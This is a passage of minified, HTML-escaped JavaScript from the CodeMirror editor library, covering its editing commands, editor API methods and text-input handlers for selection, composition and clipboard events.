return b.head.ch==c&amp;&amp;b.head.line&lt;a.lastLine()?{from:b.head,to:J(b.head.line+1,0)}:{from:b.head,to:J(b.head.line,c)}}return{from:b.from(),to:b.to()}})},deleteLine:function(a){return lf(a,function(b){return{from:J(b.from().line,0),to:Q(a.doc,J(b.to().line+1,0))}})},delLineLeft:function(a){return lf(a,function(a){return{from:J(a.from().line,0),to:a.from()}})},delWrappedLineLeft:function(a){return lf(a,function(b){var c=a.charCoords(b.head,&quot;div&quot;).top+5,d=a.coordsChar({left:0,top:c},&quot;div&quot;);return{from:d,to:b.from()}})},delWrappedLineRight:function(a){return lf(a,function(b){var c=a.charCoords(b.head,&quot;div&quot;).top+5,d=a.coordsChar({left:a.display.lineDiv.offsetWidth+100,top:c},&quot;div&quot;);return{from:b.from(),to:d}})},undo:function(a){return a.undo()},redo:function(a){return a.redo()},undoSelection:function(a){return a.undoSelection()},redoSelection:function(a){return a.redoSelection()},goDocStart:function(a){return a.extendSelection(J(a.firstLine(),0))},goDocEnd:function(a){return a.extendSelection(J(a.lastLine()))},goLineStart:function(a){return a.extendSelectionsBy(function(b){return mf(a,b.head.line)},{origin:&quot;+move&quot;,bias:1})},goLineStartSmart:function(a){return a.extendSelectionsBy(function(b){return of(a,b.head)},{origin:&quot;+move&quot;,bias:1})},goLineEnd:function(a){return a.extendSelectionsBy(function(b){return nf(a,b.head.line)},{origin:&quot;+move&quot;,bias:-1})},goLineRight:function(a){return a.extendSelectionsBy(function(b){var c=a.cursorCoords(b.head,&quot;div&quot;).top+5;return a.coordsChar({left:a.display.lineDiv.offsetWidth+100,top:c},&quot;div&quot;)},Pg)},goLineLeft:function(a){return a.extendSelectionsBy(function(b){var c=a.cursorCoords(b.head,&quot;div&quot;).top+5;return a.coordsChar({left:0,top:c},&quot;div&quot;)},Pg)},goLineLeftSmart:function(a){return a.extendSelectionsBy(function(b){var c=a.cursorCoords(b.head,&quot;div&quot;).top+5,d=a.coordsChar({left:0,top:c},&quot;div&quot;);return d.ch&lt;a.getLine(d.line).search(/\S/)?of(a,b.head):d},Pg)},goLineUp:function(a){return a.moveV(-1,&quot;line&quot;)},goLineDown:function(a){return a.moveV(1,&quot;line&quot;)},goPageUp:function(a){return a.moveV(-1,&quot;page&quot;)},goPageDown:function(a){return a.moveV(1,&quot;page&quot;)},goCharLeft:function(a){return a.moveH(-1,&quot;char&quot;)},goCharRight:function(a){return a.moveH(1,&quot;char&quot;)},goColumnLeft:function(a){return a.moveH(-1,&quot;column&quot;)},goColumnRight:function(a){return a.moveH(1,&quot;column&quot;)},goWordLeft:function(a){return a.moveH(-1,&quot;word&quot;)},goGroupRight:function(a){return a.moveH(1,&quot;group&quot;)},goGroupLeft:function(a){return a.moveH(-1,&quot;group&quot;)},goWordRight:function(a){return a.moveH(1,&quot;word&quot;)},delCharBefore:function(a){return a.deleteH(-1,&quot;char&quot;)},delCharAfter:function(a){return a.deleteH(1,&quot;char&quot;)},delWordBefore:function(a){return a.deleteH(-1,&quot;word&quot;)},delWordAfter:function(a){return a.deleteH(1,&quot;word&quot;)},delGroupBefore:function(a){return a.deleteH(-1,&quot;group&quot;)},delGroupAfter:function(a){return a.deleteH(1,&quot;group&quot;)},indentAuto:function(a){return a.indentSelection(&quot;smart&quot;)},indentMore:function(a){return a.indentSelection(&quot;add&quot;)},indentLess:function(a){return a.indentSelection(&quot;subtract&quot;)},insertTab:function(a){return a.replaceSelection(&quot;\t&quot;)},insertSoftTab:function(a){for(var b=[],c=a.listSelections(),d=a.options.tabSize,e=0;e&lt;c.length;e++){var f=c[e].from(),g=l(a.getLine(f.line),f.ch,d);b.push(o(d-g%d))}a.replaceSelections(b)},defaultTab:function(a){a.somethingSelected()?a.indentSelection(&quot;add&quot;):a.execCommand(&quot;insertTab&quot;)},transposeChars:function(a){return md(a,function(){for(var b=a.listSelections(),c=[],d=0;d&lt;b.length;d++)if(b[d].empty()){var e=b[d].head,f=B(a.doc,e.line).text;if(f)if(e.ch==f.length&amp;&amp;(e=new J(e.line,e.ch-1)),e.ch&gt;0)e=new J(e.line,e.ch+1),a.replaceRange(f.charAt(e.ch-1)+f.charAt(e.ch-2),J(e.line,e.ch-2),e,&quot;+transpose&quot;);else if(e.line&gt;a.doc.first){var g=B(a.doc,e.line-1).text;g&amp;&amp;(e=new J(e.line,1),a.replaceRange(f.charAt(0)+a.doc.lineSeparator()+g.charAt(g.length-1),J(e.line-1,g.length-1),e,&quot;+transpose&quot;))}c.push(new yh(e,e))}a.setSelections(c)})},newlineAndIndent:function(a){return md(a,function(){for(var b=a.listSelections(),c=b.length-1;c&gt;=0;c--)a.replaceRange(a.doc.lineSeparator(),b[c].anchor,b[c].head,&quot;+input&quot;);b=a.listSelections();for(var d=0;d&lt;b.length;d++)a.indentLine(b[d].from().line,null,!0);Uc(a)})},openLine:function(a){return a.replaceSelection(&quot;\n&quot;,&quot;start&quot;)},toggleOverwrite:function(a){return a.toggleOverwrite()}},Nh=new Ig,Oh=null,Ph=400,Qh=function(a,b,c){this.time=a,this.pos=b,this.button=c};Qh.prototype.compare=function(a,b,c){return this.time+Ph&gt;a&amp;&amp;0==K(b,this.pos)&amp;&amp;c==this.button};var Rh,Sh,Th={toString:function(){return&quot;CodeMirror.Init&quot;}},Uh={},Vh={};Pf.defaults=Uh,Pf.optionHandlers=Vh;var Wh=[];Pf.defineInitHook=function(a){return Wh.push(a)};var Xh=null,Yh=function(a){var b=a.optionHandlers,c=a.helpers={};a.prototype={constructor:a,focus:function(){window.focus(),this.display.input.focus()},setOption:function(a,c){var d=this.options,e=d[a];d[a]==c&amp;&amp;&quot;mode&quot;!=a||(d[a]=c,b.hasOwnProperty(a)&amp;&amp;nd(this,b[a])(this,c,e),Ea(this,&quot;optionChange&quot;,this,a))},getOption:function(a){return this.options[a]},getDoc:function(){return this.doc},addKeyMap:function(a,b){this.state.keyMaps[b?&quot;push&quot;:&quot;unshift&quot;](kf(a))},removeKeyMap:function(a){for(var b=this.state.keyMaps,c=0;c&lt;b.length;++c)if(b[c]==a||b[c].name==a)return b.splice(c,1),!0},addOverlay:od(function(b,c){var d=b.token?b:a.getMode(this.options,b);if(d.startState)throw new Error(&quot;Overlays may not be stateful.&quot;);r(this.state.overlays,{mode:d,modeSpec:b,opaque:c&amp;&amp;c.opaque,priority:c&amp;&amp;c.priority||0},function(a){return a.priority}),this.state.modeGen++,qd(this)}),removeOverlay:od(function(a){for(var b=this,c=this.state.overlays,d=0;d&lt;c.length;++d){var e=c[d].modeSpec;if(e==a||&quot;string&quot;==typeof a&amp;&amp;e.name==a)return c.splice(d,1),b.state.modeGen++,void qd(b)}}),indentLine:od(function(a,b,c){&quot;string&quot;!=typeof b&amp;&amp;&quot;number&quot;!=typeof b&amp;&amp;(b=null==b?this.options.smartIndent?&quot;smart&quot;:&quot;prev&quot;:b?&quot;add&quot;:&quot;subtract&quot;),H(this.doc,a)&amp;&amp;Rf(this,a,b,c)}),indentSelection:od(function(a){for(var b=this,c=this.doc.sel.ranges,d=-1,e=0;e&lt;c.length;e++){var f=c[e];if(f.empty())f.head.line&gt;d&amp;&amp;(Rf(b,f.head.line,a,!0),d=f.head.line,e==b.doc.sel.primIndex&amp;&amp;Uc(b));else{var g=f.from(),h=f.to(),i=Math.max(d,g.line);d=Math.min(b.lastLine(),h.line-(h.ch?0:1))+1;for(var j=i;j&lt;d;++j)Rf(b,j,a);var k=b.doc.sel.ranges;0==g.ch&amp;&amp;c.length==k.length&amp;&amp;k[e].from().ch&gt;0&amp;&amp;pe(b.doc,e,new yh(g,k[e].to()),Ng)}}}),getTokenAt:function(a,b){return eb(this,a,b)},getLineTokens:function(a,b){return eb(this,J(a),b,!0)},getTokenTypeAt:function(a){a=Q(this.doc,a);var b,c=_a(this,B(this.doc,a.line)),d=0,e=(c.length-1)/2,f=a.ch;if(0==f)b=c[2];else for(;;){var g=d+e&gt;&gt;1;if((g?c[2*g-1]:0)&gt;=f)e=g;else{if(!(c[2*g+1]&lt;f)){b=c[2*g+2];break}d=g+1}}var h=b?b.indexOf(&quot;overlay &quot;):-1;return h&lt;0?b:0==h?null:b.slice(0,h-1)},getModeAt:function(b){var c=this.doc.mode;return c.innerMode?a.innerMode(c,this.getTokenAt(b).state).mode:c},getHelper:function(a,b){return this.getHelpers(a,b)[0]},getHelpers:function(a,b){var d=this,e=[];if(!c.hasOwnProperty(b))return e;var f=c[b],g=this.getModeAt(a);if(&quot;string&quot;==typeof g[b])f[g[b]]&amp;&amp;e.push(f[g[b]]);else if(g[b])for(var h=0;h&lt;g[b].length;h++){var i=f[g[b][h]];i&amp;&amp;e.push(i)}else g.helperType&amp;&amp;f[g.helperType]?e.push(f[g.helperType]):f[g.name]&amp;&amp;e.push(f[g.name]);for(var j=0;j&lt;f._global.length;j++){var k=f._global[j];k.pred(g,d)&amp;&amp;m(e,k.val)==-1&amp;&amp;e.push(k.val)}return e},getStateAfter:function(a,b){var c=this.doc;return a=P(c,null==a?c.first+c.size-1:a),ab(this,a+1,b).state},cursorCoords:function(a,b){var c,d=this.doc.sel.primary();return c=null==a?d.head:&quot;object&quot;==typeof a?Q(this.doc,a):a?d.from():d.to(),lc(this,c,b||&quot;page&quot;)},charCoords:function(a,b){return kc(this,Q(this.doc,a),b||&quot;page&quot;)},coordsChar:function(a,b){return a=jc(this,a,b||&quot;page&quot;),oc(this,a.left,a.top)},lineAtHeight:function(a,b){return a=jc(this,{top:a,left:0},b||&quot;page&quot;).top,G(this.doc,a+this.display.viewOffset)},heightAtLine:function(a,b,c){var d,e=!1;if(&quot;number&quot;==typeof a){var f=this.doc.first+this.doc.size-1;a&lt;this.doc.first?a=this.doc.first:a&gt;f&amp;&amp;(a=f,e=!0),d=B(this.doc,a)}else d=a;return ic(this,d,{top:0,left:0},b||&quot;page&quot;,c||e).top+(e?this.doc.height-sa(d):0)},defaultTextHeight:function(){return sc(this.display)},defaultCharWidth:function(){return tc(this.display)},getViewport:function(){return{from:this.display.viewFrom,to:this.display.viewTo}},addWidget:function(a,b,c,d,e){var f=this.display;a=lc(this,Q(this.doc,a));var g=a.bottom,h=a.left;if(b.style.position=&quot;absolute&quot;,b.setAttribute(&quot;cm-ignore-events&quot;,&quot;true&quot;),this.display.input.setUneditable(b),f.sizer.appendChild(b),&quot;over&quot;==d)g=a.top;else if(&quot;above&quot;==d||&quot;near&quot;==d){var i=Math.max(f.wrapper.clientHeight,this.doc.height),j=Math.max(f.sizer.clientWidth,f.lineSpace.clientWidth);(&quot;above&quot;==d||a.bottom+b.offsetHeight&gt;i)&amp;&amp;a.top&gt;b.offsetHeight?g=a.top-b.offsetHeight:a.bottom+b.offsetHeight&lt;=i&amp;&amp;(g=a.bottom),h+b.offsetWidth&gt;j&amp;&amp;(h=j-b.offsetWidth)}b.style.top=g+&quot;px&quot;,b.style.left=b.style.right=&quot;&quot;,&quot;right&quot;==e?(h=f.sizer.clientWidth-b.offsetWidth,b.style.right=&quot;0px&quot;):(&quot;left&quot;==e?h=0:&quot;middle&quot;==e&amp;&amp;(h=(f.sizer.clientWidth-b.offsetWidth)/2),b.style.left=h+&quot;px&quot;),c&amp;&amp;Rc(this,{left:h,top:g,right:h+b.offsetWidth,bottom:g+b.offsetHeight})},triggerOnKeyDown:od(uf),triggerOnKeyPress:od(xf),triggerOnKeyUp:wf,triggerOnMouseDown:od(zf),execCommand:function(a){if(Mh.hasOwnProperty(a))return Mh[a].call(null,this)},triggerElectric:od(function(a){Vf(this,a)}),findPosH:function(a,b,c,d){var e=this,f=1;b&lt;0&amp;&amp;(f=-1,b=-b);for(var g=Q(this.doc,a),h=0;h&lt;b&amp;&amp;(g=Zf(e.doc,g,f,c,d),!g.hitSide);++h);return g},moveH:od(function(a,b){var c=this;this.extendSelectionsBy(function(d){return c.display.shift||c.doc.extend||d.empty()?Zf(c.doc,d.head,a,b,c.options.rtlMoveVisually):a&lt;0?d.from():d.to()},Pg)}),deleteH:od(function(a,b){var c=this.doc.sel,d=this.doc;c.somethingSelected()?d.replaceSelection(&quot;&quot;,null,&quot;+delete&quot;):lf(this,function(c){var e=Zf(d,c.head,a,b,!1);return a&lt;0?{from:e,to:c.head}:{from:c.head,to:e}})}),findPosV:function(a,b,c,d){var e=this,f=1,g=d;b&lt;0&amp;&amp;(f=-1,b=-b);for(var h=Q(this.doc,a),i=0;i&lt;b;++i){var j=lc(e,h,&quot;div&quot;);if(null==g?g=j.left:j.left=g,h=$f(e,j,f,c),h.hitSide)break}return h},moveV:od(function(a,b){var c=this,d=this.doc,e=[],f=!this.display.shift&amp;&amp;!d.extend&amp;&amp;d.sel.somethingSelected();if(d.extendSelectionsBy(function(g){if(f)return a&lt;0?g.from():g.to();var h=lc(c,g.head,&quot;div&quot;);null!=g.goalColumn&amp;&amp;(h.left=g.goalColumn),e.push(h.left);var i=$f(c,h,a,b);return&quot;page&quot;==b&amp;&amp;g==d.sel.primary()&amp;&amp;Tc(c,kc(c,i,&quot;div&quot;).top-h.top),i},Pg),e.length)for(var g=0;g&lt;d.sel.ranges.length;g++)d.sel.ranges[g].goalColumn=e[g]}),findWordAt:function(a){var b=this.doc,c=B(b,a.line).text,d=a.ch,e=a.ch;if(c){var f=this.getHelper(a,&quot;wordChars&quot;);&quot;before&quot;!=a.sticky&amp;&amp;e!=c.length||!d?++e:--d;for(var g=c.charAt(d),h=v(g,f)?function(a){return v(a,f)}:/\s/.test(g)?function(a){return/\s/.test(a)}:function(a){return!/\s/.test(a)&amp;&amp;!v(a)};d&gt;0&amp;&amp;h(c.charAt(d-1));)--d;for(;e&lt;c.length&amp;&amp;h(c.charAt(e));)++e}return new yh(J(a.line,d),J(a.line,e))},toggleOverwrite:function(a){null!=a&amp;&amp;a==this.state.overwrite||((this.state.overwrite=!this.state.overwrite)?h(this.display.cursorDiv,&quot;CodeMirror-overwrite&quot;):Gg(this.display.cursorDiv,&quot;CodeMirror-overwrite&quot;),Ea(this,&quot;overwriteToggle&quot;,this,this.state.overwrite))},hasFocus:function(){return this.display.input.getField()==g()},isReadOnly:function(){return!(!this.options.readOnly&amp;&amp;!this.doc.cantEdit)},scrollTo:od(function(a,b){Vc(this,a,b)}),getScrollInfo:function(){var a=this.display.scroller;return{left:a.scrollLeft,top:a.scrollTop,height:a.scrollHeight-Rb(this)-this.display.barHeight,width:a.scrollWidth-Rb(this)-this.display.barWidth,clientHeight:Tb(this),clientWidth:Sb(this)}},scrollIntoView:od(function(a,b){null==a?(a={from:this.doc.sel.primary().head,to:null},null==b&amp;&amp;(b=this.options.cursorScrollMargin)):&quot;number&quot;==typeof a?a={from:J(a,0),to:null}:null==a.from&amp;&amp;(a={from:a,to:null}),a.to||(a.to=a.from),a.margin=b||0,null!=a.from.line?Wc(this,a):Yc(this,a.from,a.to,a.margin)}),setSize:od(function(a,b){var c=this,d=function(a){return&quot;number&quot;==typeof a||/^\d+$/.test(String(a))?a+&quot;px&quot;:a};null!=a&amp;&amp;(this.display.wrapper.style.width=d(a)),null!=b&amp;&amp;(this.display.wrapper.style.height=d(b)),this.options.lineWrapping&amp;&amp;ec(this);var e=this.display.viewFrom;this.doc.iter(e,this.display.viewTo,function(a){if(a.widgets)for(var b=0;b&lt;a.widgets.length;b++)if(a.widgets[b].noHScroll){rd(c,e,&quot;widget&quot;);break}++e}),this.curOp.forceUpdate=!0,Ea(this,&quot;refresh&quot;,this)}),operation:function(a){return md(this,a)},startOperation:function(){return ed(this)},endOperation:function(){return fd(this)},refresh:od(function(){var a=this.display.cachedTextHeight;qd(this),this.curOp.forceUpdate=!0,fc(this),Vc(this,this.doc.scrollLeft,this.doc.scrollTop),Fd(this),(null==a||Math.abs(a-sc(this.display))&gt;.5)&amp;&amp;xc(this),Ea(this,&quot;refresh&quot;,this)}),swapDoc:od(function(a){var b=this.doc;return b.cm=null,Yd(this,a),fc(this),this.display.input.reset(),Vc(this,a.scrollLeft,a.scrollTop),this.curOp.forceScroll=!0,yb(this,&quot;swapDoc&quot;,this,b),b}),getInputField:function(){return this.display.input.getField()},getWrapperElement:function(){return this.display.wrapper},getScrollerElement:function(){return this.display.scroller},getGutterElement:function(){return this.display.gutters}},Ia(a),a.registerHelper=function(b,d,e){c.hasOwnProperty(b)||(c[b]=a[b]={_global:[]}),c[b][d]=e},a.registerGlobalHelper=function(b,d,e,f){a.registerHelper(b,d,f),c[b]._global.push({pred:e,val:f})}},Zh=function(a){this.cm=a,this.lastAnchorNode=this.lastAnchorOffset=this.lastFocusNode=this.lastFocusOffset=null,this.polling=new Ig,this.composing=null,this.gracePeriod=!1,this.readDOMTimeout=null};Zh.prototype.init=function(a){function b(a){if(!Fa(e,a)){if(e.somethingSelected())Sf({lineWise:!1,text:e.getSelections()}),&quot;cut&quot;==a.type&amp;&amp;e.replaceSelection(&quot;&quot;,null,&quot;cut&quot;);else{if(!e.options.lineWiseCopyCut)return;var b=Wf(e);Sf({lineWise:!0,text:b.text}),&quot;cut&quot;==a.type&amp;&amp;e.operation(function(){e.setSelections(b.ranges,0,Ng),e.replaceSelection(&quot;&quot;,null,&quot;cut&quot;)})}if(a.clipboardData){a.clipboardData.clearData();var c=Xh.text.join(&quot;\n&quot;);if(a.clipboardData.setData(&quot;Text&quot;,c),a.clipboardData.getData(&quot;Text&quot;)==c)return void a.preventDefault()}var g=Yf(),h=g.firstChild;e.display.lineSpace.insertBefore(g,e.display.lineSpace.firstChild),h.value=Xh.text.join(&quot;\n&quot;);var i=document.activeElement;Hg(h),setTimeout(function(){e.display.lineSpace.removeChild(g),i.focus(),i==f&amp;&amp;d.showPrimarySelection()},50)}}var c=this,d=this,e=d.cm,f=d.div=a.lineDiv;Xf(f,e.options.spellcheck),Yg(f,&quot;paste&quot;,function(a){Fa(e,a)||Uf(a,e)||og&lt;=11&amp;&amp;setTimeout(nd(e,function(){return c.updateFromDOM()}),20)}),Yg(f,&quot;compositionstart&quot;,function(a){c.composing={data:a.data,done:!1}}),Yg(f,&quot;compositionupdate&quot;,function(a){c.composing||(c.composing={data:a.data,done:!1})}),Yg(f,&quot;compositionend&quot;,function(a){c.composing&amp;&amp;(a.data!=c.composing.data&amp;&amp;c.readFromDOMSoon(),c.composing.done=!0)}),Yg(f,&quot;touchstart&quot;,function(){return d.forceCompositionEnd()}),Yg(f,&quot;input&quot;,function(){c.composing||c.readFromDOMSoon()}),Yg(f,&quot;copy&quot;,b),Yg(f,&quot;cut&quot;,b)},Zh.prototype.prepareSelection=function(){var a=Bc(this.cm,!1);return a.focus=this.cm.state.focused,a},Zh.prototype.showSelection=function(a,b){a&amp;&amp;this.cm.display.view.length&amp;&amp;((a.focus||b)&amp;&amp;this.showPrimarySelection(),this.showMultipleSelections(a))},Zh.prototype.showPrimarySelection=function(){var a=window.getSelection(),b=this.cm,c=b.doc.sel.primary(),d=c.from(),e=c.to();if(b.display.viewTo==b.display.viewFrom||d.line&gt;=b.display.viewTo||e.line&lt;b.display.viewFrom)return void a.removeAllRanges();var f=dg(b,a.anchorNode,a.anchorOffset),g=dg(b,a.focusNode,a.focusOffset);if(!f||f.bad||!g||g.bad||0!=K(O(f,g),d)||0!=K(N(f,g),e)){var h=b.display.view,i=d.line&gt;=b.display.viewFrom&amp;&amp;_f(b,d)||{node:h[0].measure.map[2],offset:0},j=e.line&lt;b.display.viewTo&amp;&amp;_f(b,e);if(!j){var k=h[h.length-1].measure,l=k.maps?k.maps[k.maps.length-1]:k.map;j={node:l[l.length-1],offset:l[l.length-2]-l[l.length-3]}}if(!i||!j)return void a.removeAllRanges();var m,n=a.rangeCount&amp;&amp;a.getRangeAt(0);try{m=Dg(i.node,i.offset,j.offset,j.node)}catch(o){}m&amp;&amp;(!jg&amp;&amp;b.state.focused?(a.collapse(i.node,i.offset),m.collapsed||(a.removeAllRanges(),a.addRange(m))):(a.removeAllRanges(),a.addRange(m)),n&amp;&amp;null==a.anchorNode?a.addRange(n):jg&amp;&amp;this.startGracePeriod()),this.rememberSelection()}},Zh.prototype.startGracePeriod=function(){var a=this;clearTimeout(this.gracePeriod),this.gracePeriod=setTimeout(function(){a.gracePeriod=!1,a.selectionChanged()&amp;&amp;a.cm.operation(function(){return a.cm.curOp.selectionChanged=!0})},20)},Zh.prototype.showMultipleSelections=function(a){c(this.cm.display.cursorDiv,a.cursors),c(this.cm.display.selectionDiv,a.selection)},Zh.prototype.rememberSelection=function(){var a=window.getSelection();this.lastAnchorNode=a.anchorNode,this.lastAnchorOffset=a.anchorOffset,this.lastFocusNode=a.focusNode,this.lastFocusOffset=a.focusOffset},Zh.prototype.selectionInEditor=function(){var a=window.getSelection();if(!a.rangeCount)return!1;var b=a.getRangeAt(0).commonAncestorContainer;return f(this.div,b)},Zh.prototype.focus=function(){&quot;nocursor&quot;!=this.cm.options.readOnly&amp;&amp;(this.selectionInEditor()||this.showSelection(this.prepareSelection(),!0),this.div.focus())},Zh.prototype.blur=function(){this.div.blur()},Zh.prototype.getField=function(){return this.div},Zh.prototype.supportsTouch=function(){return!0},Zh.prototype.receivedFocus=function(){function a(){b.cm.state.focused&amp;&amp;(b.pollSelection(),b.polling.set(b.cm.options.pollInterval,a))}var b=this;this.selectionInEditor()?this.pollSelection():md(this.cm,function(){return b.cm.curOp.selectionChanged=!0}),this.polling.set(this.cm.options.pollInterval,a)},Zh.prototype.selectionChanged=function(){var a=window.getSelection();return a.anchorNode!=this.lastAnchorNode||a.anchorOffset!=this.lastAnchorOffset||a.focusNode!=this.lastFocusNode||a.focusOffset!=this.lastFocusOffset},Zh.prototype.pollSelection=function(){if(null==this.readDOMTimeout&amp;&amp;!this.gracePeriod&amp;&amp;this.selectionChanged()){var a=window.getSelection(),b=this.cm;if(xg&amp;&amp;rg&amp;&amp;this.cm.options.gutters.length&amp;&amp;ag(a.anchorNode))return this.cm.triggerOnKeyDown({type:&quot;keydown&quot;,keyCode:8,preventDefault:Math.abs}),this.blur(),void this.focus();if(!this.composing){this.rememberSelection();var c=dg(b,a.anchorNode,a.anchorOffset),d=dg(b,a.focusNode,a.focusOffset);c&amp;&amp;d&amp;&amp;md(b,function(){te(b.doc,Nd(c,d),Ng),(c.bad||d.bad)&amp;&amp;(b.curOp.selectionChanged=!0)})}}},Zh.prototype.pollContent=function(){null!=this.readDOMTimeout&amp;&amp;(clearTimeout(this.readDOMTimeout),this.readDOMTimeout=null);var a=this.cm,b=a.display,c=a.doc.sel.primary(),d=c.from(),e=c.to();if(0==d.ch&amp;&amp;d.line&gt;a.firstLine()&amp;&amp;(d=J(d.line-1,B(a.doc,d.line-1).length)),e.ch==B(a.doc,e.line).text.length&amp;&amp;e.line&lt;a.lastLine()&amp;&amp;(e=J(e.line+1,0)),d.line&lt;b.viewFrom||e.line&gt;b.viewTo-1)return!1;var f,g,h;d.line==b.viewFrom||0==(f=zc(a,d.line))?(g=F(b.view[0].line),h=b.view[0].node):(g=F(b.view[f].line),h=b.view[f-1].node.nextSibling);var i,j,k=zc(a,e.line);if(k==b.view.length-1?(i=b.viewTo-1,j=b.lineDiv.lastChild):(i=F(b.view[k+1].line)-1,j=b.view[k+1].node.previousSibling),!h)return!1;for(var l=a.doc.splitLines(cg(a,h,j,g,i)),m=C(a.doc,J(g,0),J(i,B(a.doc,i).text.length));l.length&gt;1&amp;&amp;m.length&gt;1;)if(p(l)==p(m))l.pop(),m.pop(),i--;else{if(l[0]!=m[0])break;l.shift(),m.shift(),g++}for(var n=0,o=0,q=l[0],r=m[0],s=Math.min(q.length,r.length);n&lt;s&amp;&amp;q.charCodeAt(n)==r.charCodeAt(n);)++n;for(var t=p(l),u=p(m),v=Math.min(t.length-(1==l.length?n:0),u.length-(1==m.length?n:0));o&lt;v&amp;&amp;t.charCodeAt(t.length-o-1)==u.charCodeAt(u.length-o-1);)++o;if(1==l.length&amp;&amp;1==m.length&amp;&amp;g==d.line)for(;n&amp;&amp;n&gt;d.ch&amp;&amp;t.charCodeAt(t.length-o-1)==u.charCodeAt(u.length-o-1);)n--,o++;l[l.length-1]=t.slice(0,t.length-o).replace(/^\u200b+/,&quot;&quot;),l[0]=l[0].slice(n).replace(/\u200b+$/,&quot;&quot;);var w=J(g,n),x=J(i,m.length?p(m).length-o:0);return l.length&gt;1||l[0]||K(w,x)?(Je(a.doc,l,w,x,&quot;+input&quot;),!0):void 0},Zh.prototype.ensurePolled=function(){this.forceCompositionEnd()},Zh.prototype.reset=function(){this.forceCompositionEnd()},Zh.prototype.forceCompositionEnd=function(){this.composing&amp;&amp;(clearTimeout(this.readDOMTimeout),this.composing=null,this.updateFromDOM(),this.div.blur(),this.div.focus())},Zh.prototype.readFromDOMSoon=function(){var a=this;null==this.readDOMTimeout&amp;&amp;(this.readDOMTimeout=setTimeout(function(){if(a.readDOMTimeout=null,a.composing){if(!a.composing.done)return;a.composing=null}a.updateFromDOM()},80))},Zh.prototype.updateFromDOM=function(){var a=this;!this.cm.isReadOnly()&amp;&amp;this.pollContent()||md(this.cm,function(){return qd(a.cm)})},Zh.prototype.setUneditable=function(a){a.contentEditable=&quot;false&quot;},Zh.prototype.onKeyPress=function(a){0!=a.charCode&amp;&amp;(a.preventDefault(),this.cm.isReadOnly()||nd(this.cm,Tf)(this.cm,String.fromCharCode(null==a.charCode?a.keyCode:a.charCode),0))},Zh.prototype.readOnlyChanged=function(a){this.div.contentEditable=String(&quot;nocursor&quot;!=a)},Zh.prototype.onContextMenu=function(){},Zh.prototype.resetPosition=function(){},Zh.prototype.needsContentAttribute=!0;var $h=function(a){this.cm=a,this.prevInput=&quot;&quot;,this.pollingFast=!1,this.polling=new Ig,this.hasSelection=!1,this.composing=null};$h.prototype.init=function(a){function b(a){if(!Fa(e,a)){if(e.somethingSelected())Sf({lineWise:!1,text:e.getSelections()});else{if(!e.options.lineWiseCopyCut)return;var b=Wf(e);Sf({lineWise:!0,text:b.text}),&quot;cut&quot;==a.type?e.setSelections(b.ranges,null,Ng):(d.prevInput=&quot;&quot;,g.value=b.text.join(&quot;\n&quot;),Hg(g))}&quot;cut&quot;==a.type&amp;&amp;(e.state.cutIncoming=!0)}}var c=this,d=this,e=this.cm,f=this.wrapper=Yf(),g=this.textarea=f.firstChild;a.wrapper.insertBefore(f,a.wrapper.firstChild),wg&amp;&amp;(g.style.width=&quot;0px&quot;),Yg(g,&quot;input&quot;,function(){ng&amp;&amp;og&gt;=9&amp;&amp;c.hasSelection&amp;&amp;(c.hasSelection=null),d.poll()}),Yg(g,&quot;paste&quot;,function(a){Fa(e,a)||Uf(a,e)||(e.state.pasteIncoming=!0,d.fastPoll())}),Yg(g,&quot;cut&quot;,b),Yg(g,&quot;copy&quot;,b),Yg(a.scroller,&quot;paste&quot;,function(b){Nb(a,b)||Fa(e,b)||(e.state.pasteIncoming=!0,d.focus())}),Yg(a.lineSpace,&quot;selectstart&quot;,function(b){Nb(a,b)||Ja(b)}),Yg(g,&quot;compositionstart&quot;,function(){var a=e.getCursor(&quot;from&quot;);d.composing&amp;&amp;d.composing.range.clear(),d.composing={start:a,range:e.markText(a,e.getCursor(&quot;to&quot;),{className:&quot;CodeMirror-composing&quot;})}}),Yg(g,&quot;compositionend&quot;,function(){d.composing&amp;&amp;(d.poll(),d.composing.range.clear(),d.composing=null)})},$h.prototype.prepareSelection=function(){var a=this.cm,b=a.display,c=a.doc,d=Bc(a);if(a.options.moveInputWithCursor){var e=lc(a,c.sel.primary().head,&quot;div&quot;),f=b.wrapper.getBoundingClientRect(),g=b.lineDiv.getBoundingClientRect();d.teTop=Math.max(0,Math.min(b.wrapper.clientHeight-10,e.top+g.top-f.top)),d.teLeft=Math.max(0,Math.min(b.wrapper.clientWidth-10,e.left+g.left-f.left))}return d},$h.prototype.showSelection=function(a){var b=this.cm,d=b.display;c(d.cursorDiv,a.cursors),c(d.selectionDiv,a.selection),null!=a.teTop&amp;&amp;(this.wrapper.style.top=a.teTop+&quot;px&quot;,this.wrapper.style.left=a.teLeft+&quot;px&quot;)},$h.prototype.reset=function(a){if(!this.contextMenuPending&amp;&amp;!this.composing){var b=this.cm;if(b.somethingSelected()){this.prevInput=&quot;&quot;;var c=b.getSelection();this.textarea.value=c,b.state.focused&amp;&amp;Hg(this.textarea),ng&amp;&amp;og&gt;=9&amp;&amp;(this.hasSelection=c)}else a||(this.prevInput=this.textarea.value=&quot;&quot;,ng&amp;&amp;og&gt;=9&amp;&amp;(this.hasSelection=null))}},$h.prototype.getField=function(){return this.textarea},$h.prototype.supportsTouch=function(){return!1},$h.prototype.focus=function(){if(&quot;nocursor&quot;!=this.cm.options.readOnly&amp;&amp;(!yg||g()!=this.textarea))try{this.textarea.focus()}catch(a){}},$h.prototype.blur=function(){this.textarea.blur()},$h.prototype.resetPosition=function(){this.wrapper.style.top=this.wrapper.style.left=0},$h.prototype.receivedFocus=function(){this.slowPoll()},$h.prototype.slowPoll=function(){var a=this;this.pollingFast||this.polling.set(this.cm.options.pollInterval,function(){a.poll(),a.cm.state.focused&amp;&amp;a.slowPoll()})},$h.prototype.fastPoll=function(){function a(){var d=c.poll();d||b?(c.pollingFast=!1,c.slowPoll()):(b=!0,c.polling.set(60,a))}var b=!1,c=this;c.pollingFast=!0,c.polling.set(20,a)},$h.prototype.poll=function(){var a=this,b=this.cm,c=this.textarea,d=this.prevInput;if(this.contextMenuPending||!b.state.focused||_g(c)&amp;&amp;!d&amp;&amp;!this.composing||b.isReadOnly()||b.options.disableInput||b.state.keySeq)return!1;var e=c.value;if(e==d&amp;&amp;!b.somethingSelected())return!1;if(ng&amp;&amp;og&gt;=9&amp;&amp;this.hasSelection===e||zg&amp;&amp;/[\uf700-\uf7ff]/.test(e))return b.display.input.reset(),!1;if(b.doc.sel==b.display.selForContextMenu){var 